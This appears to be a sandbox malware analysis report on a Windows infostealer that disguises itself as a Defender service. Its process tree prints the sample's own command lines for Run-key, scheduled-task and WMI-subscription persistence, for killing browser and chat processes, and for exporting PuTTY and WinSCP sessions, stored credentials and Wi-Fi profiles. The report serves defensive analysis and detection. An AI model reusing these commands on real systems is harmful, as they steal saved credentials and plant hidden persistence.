cacbddab52a73c7dd5c50f7effafc2ce1f8613f69e14ba245ecbc233869209b5

Analysis

max time kernel
149s
max time network
152s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260710-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260710-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
22/07/2026, 04:17

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
cacbddab52a73c7dd5c50f7effafc2ce1f8613f69e14ba245ecbc233869209b5.exe
Size 1.5MB
Sample260722-ewjs3aydja
SHA256 cacbddab52a73c7dd5c50f7effafc2ce1f8613f69e14ba245ecbc233869209b5
MD5 545c9d721cb2116c9eff9085301925a7
SHA1 cae6c964e4129efc55a5397b582c017770af9bc4
SHA512 5cb763743e264c16e2eecdf62a5a11d0f8aaf9892f48a9ad19c588a2776b21dc3594e1c7d84407546cfdd04313715a60db7dfc6a37c70ff45ccce515dd5254a2
SSDEEP 24576:/PN4lOnvmIpsO85QPDc/XbfYl/ypAKoOFkdkd5kLTM3Ymr79:XKlOnvmFv4Dc7Yl/ypAKo23PkLTM3YmX
TLSH
T1E9755D17E2A314FCC12BC17487ABE372B931F8191234BD6F5694DB312E61EA0576EB18
MD5 SHA1 SHA512 SSDEEP TLSH

Score

7^/10

credential_access defense_evasion discovery execution persistence privilege_escalation spyware stealer

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
5080	DefenderCacheSvc.exe
5016	DefenderCacheSvc.exe

Loads dropped DLL 1 IoCs

pid	Process
1476	chrome.exe

Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
credential_access stealer

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2246396966-3025826688-3847171515-1000\Software\Microsoft\Windows\CurrentVersion\Run\DefenderCacheSvc = "\"C:\\ProgramData\\WinDefCache\\DefenderCacheSvc.exe\" --child"	cacbddab52a73c7dd5c50f7effafc2ce1f8613f69e14ba245ecbc233869209b5.exe

Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
1	discord.com
9	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
1	ip-api.com

Enumerates processes with tasklist 1 TTPs 3 IoCs

discovery

Process Discovery

T1057

pid	Process
2468	tasklist.exe
2832	tasklist.exe
4312	tasklist.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 3 IoCs

pid	Process
4644	cacbddab52a73c7dd5c50f7effafc2ce1f8613f69e14ba245ecbc233869209b5.exe
5080	DefenderCacheSvc.exe
5016	DefenderCacheSvc.exe

Hide Artifacts: Ignore Process Interrupts 1 TTPs 1 IoCs

Command interpreters often include specific commands/flags that ignore errors and other hangups.

defense_evasion

Ignore Process Interrupts

T1564.011

pid	Process
4564	powershell.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2620	powershell.exe
4736	powershell.exe
2916	powershell.exe
4924	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Executes a command shell one-liner 1 TTPs 17 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4312	cmd.exe
5316	cmd.exe
4552	cmd.exe
2084	cmd.exe
1788	cmd.exe
2740	cmd.exe
1824	cmd.exe
2588	cmd.exe
3720	cmd.exe
5068	cmd.exe
5484	cmd.exe
1028	cmd.exe
4708	cmd.exe
2332	cmd.exe
3988	cmd.exe
4080	cmd.exe
3864	cmd.exe

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

discovery

Wi-Fi Discovery

T1016.002

pid	Process
2084	cmd.exe
2872	netsh.exe

Gathers network information 2 TTPs 1 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
5752	ipconfig.exe

Kills process with taskkill 1 IoCs

defense_evasion

pid	Process
5280	taskkill.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
4600	schtasks.exe

Suspicious behavior: EnumeratesProcesses 10 IoCs

pid	Process
4564	powershell.exe
4564	powershell.exe
2620	powershell.exe
2620	powershell.exe
4736	powershell.exe
4736	powershell.exe
2916	powershell.exe
2916	powershell.exe
4924	powershell.exe
4924	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4312	tasklist.exe
Token: SeDebugPrivilege	4564	powershell.exe
Token: SeIncreaseQuotaPrivilege	4564	powershell.exe
Token: SeSecurityPrivilege	4564	powershell.exe
Token: SeTakeOwnershipPrivilege	4564	powershell.exe
Token: SeLoadDriverPrivilege	4564	powershell.exe
Token: SeSystemProfilePrivilege	4564	powershell.exe
Token: SeSystemtimePrivilege	4564	powershell.exe
Token: SeProfSingleProcessPrivilege	4564	powershell.exe
Token: SeIncBasePriorityPrivilege	4564	powershell.exe
Token: SeCreatePagefilePrivilege	4564	powershell.exe
Token: SeBackupPrivilege	4564	powershell.exe
Token: SeRestorePrivilege	4564	powershell.exe
Token: SeShutdownPrivilege	4564	powershell.exe
Token: SeDebugPrivilege	4564	powershell.exe
Token: SeSystemEnvironmentPrivilege	4564	powershell.exe
Token: SeRemoteShutdownPrivilege	4564	powershell.exe
Token: SeUndockPrivilege	4564	powershell.exe
Token: SeManageVolumePrivilege	4564	powershell.exe
Token: 33	4564	powershell.exe
Token: 34	4564	powershell.exe
Token: 35	4564	powershell.exe
Token: 36	4564	powershell.exe
Token: SeIncreaseQuotaPrivilege	4564	powershell.exe
Token: SeSecurityPrivilege	4564	powershell.exe
Token: SeTakeOwnershipPrivilege	4564	powershell.exe
Token: SeLoadDriverPrivilege	4564	powershell.exe
Token: SeSystemProfilePrivilege	4564	powershell.exe
Token: SeSystemtimePrivilege	4564	powershell.exe
Token: SeProfSingleProcessPrivilege	4564	powershell.exe
Token: SeIncBasePriorityPrivilege	4564	powershell.exe
Token: SeCreatePagefilePrivilege	4564	powershell.exe
Token: SeBackupPrivilege	4564	powershell.exe
Token: SeRestorePrivilege	4564	powershell.exe
Token: SeShutdownPrivilege	4564	powershell.exe
Token: SeDebugPrivilege	4564	powershell.exe
Token: SeSystemEnvironmentPrivilege	4564	powershell.exe
Token: SeRemoteShutdownPrivilege	4564	powershell.exe
Token: SeUndockPrivilege	4564	powershell.exe
Token: SeManageVolumePrivilege	4564	powershell.exe
Token: 33	4564	powershell.exe
Token: 34	4564	powershell.exe
Token: 35	4564	powershell.exe
Token: 36	4564	powershell.exe
Token: SeIncreaseQuotaPrivilege	4564	powershell.exe
Token: SeSecurityPrivilege	4564	powershell.exe
Token: SeTakeOwnershipPrivilege	4564	powershell.exe
Token: SeLoadDriverPrivilege	4564	powershell.exe
Token: SeSystemProfilePrivilege	4564	powershell.exe
Token: SeSystemtimePrivilege	4564	powershell.exe
Token: SeProfSingleProcessPrivilege	4564	powershell.exe
Token: SeIncBasePriorityPrivilege	4564	powershell.exe
Token: SeCreatePagefilePrivilege	4564	powershell.exe
Token: SeBackupPrivilege	4564	powershell.exe
Token: SeRestorePrivilege	4564	powershell.exe
Token: SeShutdownPrivilege	4564	powershell.exe
Token: SeDebugPrivilege	4564	powershell.exe
Token: SeSystemEnvironmentPrivilege	4564	powershell.exe
Token: SeRemoteShutdownPrivilege	4564	powershell.exe
Token: SeUndockPrivilege	4564	powershell.exe
Token: SeManageVolumePrivilege	4564	powershell.exe
Token: 33	4564	powershell.exe
Token: 34	4564	powershell.exe
Token: 35	4564	powershell.exe

Suspicious use of WriteProcessMemory 36 IoCs

description	pid	Process	procid_target
PID 4644 wrote to memory of 5316	4644	cacbddab52a73c7dd5c50f7effafc2ce1f8613f69e14ba245ecbc233869209b5.exe	89
PID 5316 wrote to memory of 4312	5316	cmd.exe	91
PID 4644 wrote to memory of 4552	4644	cacbddab52a73c7dd5c50f7effafc2ce1f8613f69e14ba245ecbc233869209b5.exe	93
PID 4552 wrote to memory of 4600	4552	cmd.exe	95
PID 4644 wrote to memory of 1824	4644	cacbddab52a73c7dd5c50f7effafc2ce1f8613f69e14ba245ecbc233869209b5.exe	96
PID 1824 wrote to memory of 4564	1824	cmd.exe	98
PID 4644 wrote to memory of 5080	4644	cacbddab52a73c7dd5c50f7effafc2ce1f8613f69e14ba245ecbc233869209b5.exe	100
PID 5080 wrote to memory of 3988	5080	DefenderCacheSvc.exe	102
PID 3988 wrote to memory of 2468	3988	cmd.exe	104
PID 5080 wrote to memory of 5068	5080	DefenderCacheSvc.exe	105
PID 5068 wrote to memory of 5280	5068	cmd.exe	107
PID 5080 wrote to memory of 1476	5080	DefenderCacheSvc.exe	108
PID 5080 wrote to memory of 4080	5080	DefenderCacheSvc.exe	111
PID 4080 wrote to memory of 1904	4080	cmd.exe	113
PID 5080 wrote to memory of 3864	5080	DefenderCacheSvc.exe	114
PID 3864 wrote to memory of 4912	3864	cmd.exe	116
PID 5080 wrote to memory of 2084	5080	DefenderCacheSvc.exe	117
PID 2084 wrote to memory of 2872	2084	cmd.exe	119
PID 5016 wrote to memory of 1788	5016	DefenderCacheSvc.exe	120
PID 5080 wrote to memory of 2588	5080	DefenderCacheSvc.exe	122
PID 2588 wrote to memory of 2620	2588	cmd.exe	124
PID 5080 wrote to memory of 5484	5080	DefenderCacheSvc.exe	125
PID 5484 wrote to memory of 4736	5484	cmd.exe	127
PID 5080 wrote to memory of 3720	5080	DefenderCacheSvc.exe	128
PID 3720 wrote to memory of 2916	3720	cmd.exe	130
PID 5080 wrote to memory of 1028	5080	DefenderCacheSvc.exe	132
PID 1028 wrote to memory of 4924	1028	cmd.exe	134
PID 5080 wrote to memory of 4312	5080	DefenderCacheSvc.exe	135
PID 4312 wrote to memory of 5752	4312	cmd.exe	137
PID 5080 wrote to memory of 4708	5080	DefenderCacheSvc.exe	138
PID 4708 wrote to memory of 3660	4708	cmd.exe	140
PID 4708 wrote to memory of 5360	4708	cmd.exe	141
PID 5080 wrote to memory of 2332	5080	DefenderCacheSvc.exe	142
PID 2332 wrote to memory of 5024	2332	cmd.exe	144
PID 5080 wrote to memory of 2740	5080	DefenderCacheSvc.exe	145
PID 2740 wrote to memory of 2832	2740	cmd.exe	147

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\cacbddab52a73c7dd5c50f7effafc2ce1f8613f69e14ba245ecbc233869209b5.exe
"C:\Users\Admin\AppData\Local\Temp\cacbddab52a73c7dd5c50f7effafc2ce1f8613f69e14ba245ecbc233869209b5.exe"
1⤵
- Adds Run key to start application
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of WriteProcessMemory
PID:4644
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c tasklist > "C:\Users\Admin\AppData\Local\Temp\\__out.txt" 2>&1
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5316
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Enumerates processes with tasklist
    - Suspicious use of AdjustPrivilegeToken
    PID:4312
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c schtasks /create /tn "Windows Defender Cache Maintenance" /tr "\"C:\ProgramData\WinDefCache\DefenderCacheSvc.exe\" --child" /sc onlogon /rl highest /f > "C:\Users\Admin\AppData\Local\Temp\\__out.txt" 2>&1
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4552
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "Windows Defender Cache Maintenance" /tr "\"C:\ProgramData\WinDefCache\DefenderCacheSvc.exe\" --child" /sc onlogon /rl highest /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4600
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c powershell -NoProfile -Command "$f=New-CimInstance -ClassName __EventFilter -Namespace root\subscription -Property @{Name='WinDefCacheF';Query=\"SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_LogonSession'\";QueryLanguage='WQL'} -ErrorAction SilentlyContinue;$c=New-CimInstance -ClassName CommandLineEventConsumer -Namespace root\subscription -Property @{Name='WinDefCacheC';CommandLineTemplate='C:\ProgramData\WinDefCache\DefenderCacheSvc.exe --child'} -ErrorAction SilentlyContinue;New-CimInstance -ClassName __FilterToConsumerBinding -Namespace root\subscription -Property @{Filter=$f;Consumer=$c} -ErrorAction SilentlyContinue" > "C:\Users\Admin\AppData\Local\Temp\\__out.txt" 2>&1
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1824
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "$f=New-CimInstance -ClassName __EventFilter -Namespace root\subscription -Property @{Name='WinDefCacheF';Query=\"SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_LogonSession'\";QueryLanguage='WQL'} -ErrorAction SilentlyContinue;$c=New-CimInstance -ClassName CommandLineEventConsumer -Namespace root\subscription -Property @{Name='WinDefCacheC';CommandLineTemplate='C:\ProgramData\WinDefCache\DefenderCacheSvc.exe --child'} -ErrorAction SilentlyContinue;New-CimInstance -ClassName __FilterToConsumerBinding -Namespace root\subscription -Property @{Filter=$f;Consumer=$c} -ErrorAction SilentlyContinue"
    3⤵
    - Hide Artifacts: Ignore Process Interrupts
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4564
- C:\ProgramData\WinDefCache\DefenderCacheSvc.exe
  "C:\ProgramData\WinDefCache\DefenderCacheSvc.exe" --child
  2⤵
  - Executes dropped EXE
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Suspicious use of WriteProcessMemory
  PID:5080
- - C:\Windows\SYSTEM32\cmd.exe
    cmd /c tasklist > "C:\Users\Admin\AppData\Local\Temp\\__out.txt" 2>&1
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3988
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      PID:2468
- - C:\Windows\SYSTEM32\cmd.exe
    cmd /c taskkill /F /T /IM brave.exe /IM chrome.exe /IM msedge.exe /IM firefox.exe /IM opera.exe /IM vivaldi.exe /IM whale.exe /IM browser.exe /IM discord.exe /IM discordptb.exe /IM discordcanary.exe /IM telegram.exe /IM robloxplayerbeta.exe /IM steam.exe /IM epicgameslauncher.exe /IM lightcord.exe 2>nul > "C:\Users\Admin\AppData\Local\Temp\\__out.txt" 2>&1
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:5068
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /T /IM brave.exe /IM chrome.exe /IM msedge.exe /IM firefox.exe /IM opera.exe /IM vivaldi.exe /IM whale.exe /IM browser.exe /IM discord.exe /IM discordptb.exe /IM discordcanary.exe /IM telegram.exe /IM robloxplayerbeta.exe /IM steam.exe /IM epicgameslauncher.exe /IM lightcord.exe
      4⤵
      Kills process with taskkill
      PID:5280
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --no-first-run --no-default-browser-check about:blank
    3⤵
    - Loads dropped DLL
    PID:1476
- - C:\Windows\SYSTEM32\cmd.exe
    cmd /c reg export "HKCU\Software\SimonTatham\PuTTY\Sessions" "%TEMP%\__putty.reg" /y & type "%TEMP%\__putty.reg" > "C:\Users\Admin\AppData\Local\Temp\\__out.txt" 2>&1
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4080
  - - C:\Windows\system32\reg.exe
      reg export "HKCU\Software\SimonTatham\PuTTY\Sessions" "C:\Users\Admin\AppData\Local\Temp\__putty.reg" /y
      4⤵
      PID:1904
- - C:\Windows\SYSTEM32\cmd.exe
    cmd /c reg export "HKCU\Software\Martin Prikryl\WinSCP 2\Sessions" "%TEMP%\__w.reg" /y & type "%TEMP%\__w.reg" > "C:\Users\Admin\AppData\Local\Temp\\__out.txt" 2>&1
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3864
  - - C:\Windows\system32\reg.exe
      reg export "HKCU\Software\Martin Prikryl\WinSCP 2\Sessions" "C:\Users\Admin\AppData\Local\Temp\__w.reg" /y
      4⤵
      PID:4912
- - C:\Windows\SYSTEM32\cmd.exe
    cmd /c netsh wlan show profiles > "C:\Users\Admin\AppData\Local\Temp\\__out.txt" 2>&1
    3⤵
    - Executes a command shell one-liner
    - System Network Configuration Discovery: Wi-Fi Discovery
    - Suspicious use of WriteProcessMemory
    PID:2084
  - - C:\Windows\system32\netsh.exe
      netsh wlan show profiles
      4⤵
      Event Triggered Execution: Netsh Helper DLL
      System Network Configuration Discovery: Wi-Fi Discovery
      PID:2872
- - C:\Windows\SYSTEM32\cmd.exe
    cmd /c powershell -NoProfile -Command "(Get-CimInstance Win32_BaseBoard | Select-Object -ExpandProperty Manufacturer) + ' ' + (Get-CimInstance Win32_BaseBoard | Select-Object -ExpandProperty Product)" > "C:\Users\Admin\AppData\Local\Temp\\__out.txt" 2>&1
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2588
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -Command "(Get-CimInstance Win32_BaseBoard | Select-Object -ExpandProperty Manufacturer) + ' ' + (Get-CimInstance Win32_BaseBoard | Select-Object -ExpandProperty Product)"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:2620
- - C:\Windows\SYSTEM32\cmd.exe
    cmd /c powershell -NoProfile -Command "(Get-CimInstance Win32_Processor).Name + ' (' + (Get-CimInstance Win32_Processor).NumberOfCores + ' cores)'" > "C:\Users\Admin\AppData\Local\Temp\\__out.txt" 2>&1
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:5484
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -Command "(Get-CimInstance Win32_Processor).Name + ' (' + (Get-CimInstance Win32_Processor).NumberOfCores + ' cores)'"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:4736
- - C:\Windows\SYSTEM32\cmd.exe
    cmd /c powershell -NoProfile -Command "[math]::Round((Get-CimInstance Win32_ComputerSystem).TotalPhysicalMemory/1MB)" > "C:\Users\Admin\AppData\Local\Temp\\__out.txt" 2>&1
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3720
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -Command "[math]::Round((Get-CimInstance Win32_ComputerSystem).TotalPhysicalMemory/1MB)"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:2916
- - C:\Windows\SYSTEM32\cmd.exe
    cmd /c powershell -NoProfile -Command "(Get-CimInstance Win32_VideoController | Select-Object -First 1).Name" > "C:\Users\Admin\AppData\Local\Temp\\__out.txt" 2>&1
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1028
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -Command "(Get-CimInstance Win32_VideoController | Select-Object -First 1).Name"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:4924
- - C:\Windows\SYSTEM32\cmd.exe
    cmd /c ipconfig /all > "C:\Users\Admin\AppData\Local\Temp\\__out.txt" 2>&1
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4312
  - - C:\Windows\system32\ipconfig.exe
      ipconfig /all
      4⤵
      Gathers network information
      PID:5752
- - C:\Windows\SYSTEM32\cmd.exe
    cmd /c reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" /s | findstr /i "DisplayName" > "C:\Users\Admin\AppData\Local\Temp\\__out.txt" 2>&1
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4708
  - - C:\Windows\system32\reg.exe
      reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" /s
      4⤵
      PID:3660
  - - C:\Windows\system32\findstr.exe
      findstr /i "DisplayName"
      4⤵
      PID:5360
- - C:\Windows\SYSTEM32\cmd.exe
    cmd /c cmdkey /list > "C:\Users\Admin\AppData\Local\Temp\\__out.txt" 2>&1
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2332
  - - C:\Windows\system32\cmdkey.exe
      cmdkey /list
      4⤵
      PID:5024
- - C:\Windows\SYSTEM32\cmd.exe
    cmd /c tasklist /fo csv /nh > "C:\Users\Admin\AppData\Local\Temp\\__out.txt" 2>&1
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2740
  - - C:\Windows\system32\tasklist.exe
      tasklist /fo csv /nh
      4⤵
      Enumerates processes with tasklist
      PID:2832

C:\ProgramData\WinDefCache\DefenderCacheSvc.exe
"C:\ProgramData\WinDefCache\DefenderCacheSvc.exe"
1⤵
- Executes dropped EXE
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of WriteProcessMemory
PID:5016
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c tasklist > "C:\Users\Admin\AppData\Local\Temp\\__out.txt" 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:1788

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:3020

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:4916

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Hide Artifacts

T1564

Ignore Process Interrupts

T1564.011

Modify Registry

T1112

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Process Discovery

T1057

Query Registry

T1012

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Wi-Fi Discovery

T1016.002

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

DefenderCacheSvc.exe

Path C:\ProgramData\WinDefCache\DefenderCacheSvc.exe
Size 1.5MB
SHA256 cacbddab52a73c7dd5c50f7effafc2ce1f8613f69e14ba245ecbc233869209b5
MD5 545c9d721cb2116c9eff9085301925a7
SHA1 cae6c964e4129efc55a5397b582c017770af9bc4
SHA512 5cb763743e264c16e2eecdf62a5a11d0f8aaf9892f48a9ad19c588a2776b21dc3594e1c7d84407546cfdd04313715a60db7dfc6a37c70ff45ccce515dd5254a2
SSDEEP 24576:/PN4lOnvmIpsO85QPDc/XbfYl/ypAKoOFkdkd5kLTM3Ymr79:XKlOnvmFv4Dc7Yl/ypAKo23PkLTM3YmX
TLSH
T1E9755D17E2A314FCC12BC17487ABE372B931F8191234BD6F5694DB312E61EA0576EB18
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 dfa8aa9a14b87a3dde4a0147e43e57ce08c1cfe5701a386975d69377bd8e7c20
MD5 496c613250a563d1d2bbf1f861edc58f
SHA1 76fccb4e8b9d3783e05896fc68a130c0a24ad241
SHA512 0956ded977a2ca99d56dec69f2e30db8411a4648eb6fbacadf84414b208d0c9ed7ed3de9f2a8e09611e403c0c47825cb5da070e79006a6a63d0bda8d72f8de6b
TLSH
T14E217633B3DC8224C899013A10DDAC1036B687CB40DECF9B6B81E159A82F298DF60160
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 edd6a47217f7985af7b030df655701f2275267f1c02c6a99c8e6923055b43258
MD5 2691442c8b67276400935f93d635d75c
SHA1 41f044992711b79250ddcc842505170d11601c02
SHA512 8c76d1fca7301dbd0e5634aea9e2e8acc66e1581c8bfa173cce590170ebd45234eafd768890db3c0b91d0ecc6b795991cbee25d803bd3420eb053131016cf144
TLSH
T1B5216837F3DC8224C89A413A10DDAC1436B6C7DB40DECF9B6B85E159A82F699DF61160
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 b0f44761bf62d99edf74b9cce403fe9a87cffc8c6699d3e643e89b509ae19cf8
MD5 c43bf7c5b3c58db81aa8c18bd440b8c9
SHA1 3b867bb94816ebe29a9957e1e5bfe95697998f2a
SHA512 cb4c0ec60d41161e12a2fe071fb328c35dae3ae5b36f2892b8145d20737d432296426a1a608b3cb573c8c37d1fe798b0af2e9d324bd1451378334ed259b3d06d
TLSH
T1B2217637B3DD8224C899413A10CEAC1036B687CB40DECF9B6B85E219B82F698DF60160
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 2706f7a3cde18304b8eb65dc0fa6d884f09a46a78e320302afda951d20885534
MD5 dc6571b4e39d13392bb7f996d9a95ef5
SHA1 a1838cd4f6a2a1ff743489171ba9f83c662362c7
SHA512 5e2582268c12399a5b29751932d896eb47931478bbafa197faf15d26470a589e1892887a85e7061e431ad8163259ee00682e34c167e9ca204ffd33c888a35f63
TLSH
T199219833F3DC8214CC99003A10DDAC1036B6C7CB40DECF9B6B85E159A82F298DF60160
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_ycf20clk.ml3.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ycf20clk.ml3.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

__out.txt

Path C:\Users\Admin\AppData\Local\Temp\__out.txt
Size 7KB
SHA256 fc482fb79ded9e77b3057d0141e807fd613fb65d28562361ee46fb9ba4ca7c4f
MD5 638f0b1f6c96272d88a1551ef6bdfc78
SHA1 3e374781e686bda3fdebc2390778ba73ce97b287
SHA512 82a23ddda3621e76d491b5aeaaa297e47da350b79093889127bf774cbfd8ff651d1420c6b7311dd6418f07da8c1af40e5ea3d544222c9bb92518c087af859b72
SSDEEP 192:MAechO0GtrMcTx9Z6uXh3vsWjSY0zHt8TuidoxWEpXnp9f5JK+vtS3UlN4KXxcNs:MAechO0G5McTx9Z6uXh3vsWjSY0zHt8o
TLSH
T168E1F085889F85EC912DD3983A230003EB4E1541316AADD93ADE54EC37E5F1CE7EBA70
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

__out.txt

